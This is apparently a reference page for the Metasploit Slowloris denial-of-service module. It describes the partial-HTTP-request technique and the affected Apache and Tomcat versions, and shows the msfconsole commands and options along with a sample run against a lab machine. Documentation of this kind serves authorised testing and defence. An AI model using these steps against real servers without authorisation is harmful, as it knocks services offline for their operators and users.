Slowloris Denial of Service Attack - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/slowloris metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Slowloris Denial of Service Attack
Module: auxiliary/dos/http/slowloris
Source code: modules/auxiliary/dos/http/slowloris.py
Disclosure date: 2009-06-17
Last modification time: 2021-05-17 17:04:49 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 80
List of CVEs: CVE-2007-6750, CVE-2010-2227

Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. Periodically, it will send subsequent HTTP headers, adding to-but never completing-the request. Affected servers will keep these connections open, filling their maximum concurrent connection pool, eventually denying additional connection attempts from clients.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/http/slowloris
msf auxiliary(slowloris) > show targets
    ... a list of targets ...
msf auxiliary(slowloris) > set TARGET target-id
msf auxiliary(slowloris) > show options
    ... show and set options ...
msf auxiliary(slowloris) > exploit

Required Options

  • rhost: The target address

Knowledge Base

Vulnerable Application

This module tries to keep many connections to the target web server open and hold them open as long as possible.

To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at https://sourceforge.net/projects/metasploitable/files/Metasploitable2/.

Vulnerable application versions include:

  • Apache HTTP Server 1.x and 2.x
  • Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/dos/http/slowloris
  3. Do: set RHOST
  4. Do: run
  5. Visit server URL in your web-browser.

Scenarios

Apache/2.2.8 - Ubuntu 8.04

msf > use auxiliary/dos/http/slowloris
msf auxiliary(slowloris) > show options

Module options (auxiliary/dos/http/slowloris):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   delay            15               yes       The delay between sending keep-alive headers
   rand_user_agent  true             yes       Randomizes user-agent with each request
   rhost            172.28.128.4     yes       The target address
   rport            80               yes       The target port
   sockets          150              yes       The number of sockets to use in the attack
   ssl              false            yes       Negotiate SSL/TLS for outgoing connections

msf auxiliary(slowloris) > set rhost 172.28.128.4
rhost => 172.28.128.4
msf auxiliary(slowloris) > run

[*] Starting server...
[*] Attacking 172.28.128.4 with 150 sockets
[*] Creating sockets...
[*] Sending keep-alive headers... Socket count: 150

Go back to menu.

Msfconsole Usage

Here is how the dos/http/slowloris auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/slowloris

msf6 auxiliary(dos/http/slowloris) > show info

       Name: Slowloris Denial of Service Attack
     Module: auxiliary/dos/http/slowloris
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-06-17

Provided by:
  RSnake
  Gokberk Yaltirakli
  Daniel Teixeira
  Matthew Kienow <matthew_kienow[AT]rapid7.com>

Check supported:
  No

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  delay            15               yes       The delay between sending keep-alive headers
  rand_user_agent  true             yes       Randomizes user-agent with each request
  rhost                             yes       The target address
  rport            80               yes       The target port
  sockets          150              yes       The number of sockets to use in the attack
  ssl              false            yes       Negotiate SSL/TLS for outgoing connections

Description:
  Slowloris tries to keep many connections to the target web server 
  open and hold them open as long as possible. It accomplishes this by 
  opening connections to the target web server and sending a partial 
  request. Periodically, it will send subsequent HTTP headers, adding 
  to-but never completing-the request. Affected servers will keep 
  these connections open, filling their maximum concurrent connection 
  pool, eventually denying additional connection attempts from 
  clients.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-6750
  https://nvd.nist.gov/vuln/detail/CVE-2010-2227
  https://www.exploit-db.com/exploits/8976
  https://github.com/gkbrk/slowloris

Module Options

This is a complete list of options available in the dos/http/slowloris auxiliary module:

msf6 auxiliary(dos/http/slowloris) > show options

Module options (auxiliary/dos/http/slowloris):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   delay            15               yes       The delay between sending keep-alive headers
   rand_user_agent  true             yes       Randomizes user-agent with each request
   rhost                             yes       The target address
   rport            80               yes       The target port
   sockets          150              yes       The number of sockets to use in the attack
   ssl              false            yes       Negotiate SSL/TLS for outgoing connections

Advanced Options

Here is a complete list of advanced options supported by the dos/http/slowloris auxiliary module:

msf6 auxiliary(dos/http/slowloris) > show advanced

Module advanced options (auxiliary/dos/http/slowloris):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/http/slowloris module can do:

msf6 auxiliary(dos/http/slowloris) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/http/slowloris auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/slowloris) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • RSnake
  • Gokberk Yaltirakli
  • Daniel Teixeira
  • Matthew Kienow <matthew_kienow[AT]rapid7.com>

Version

This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.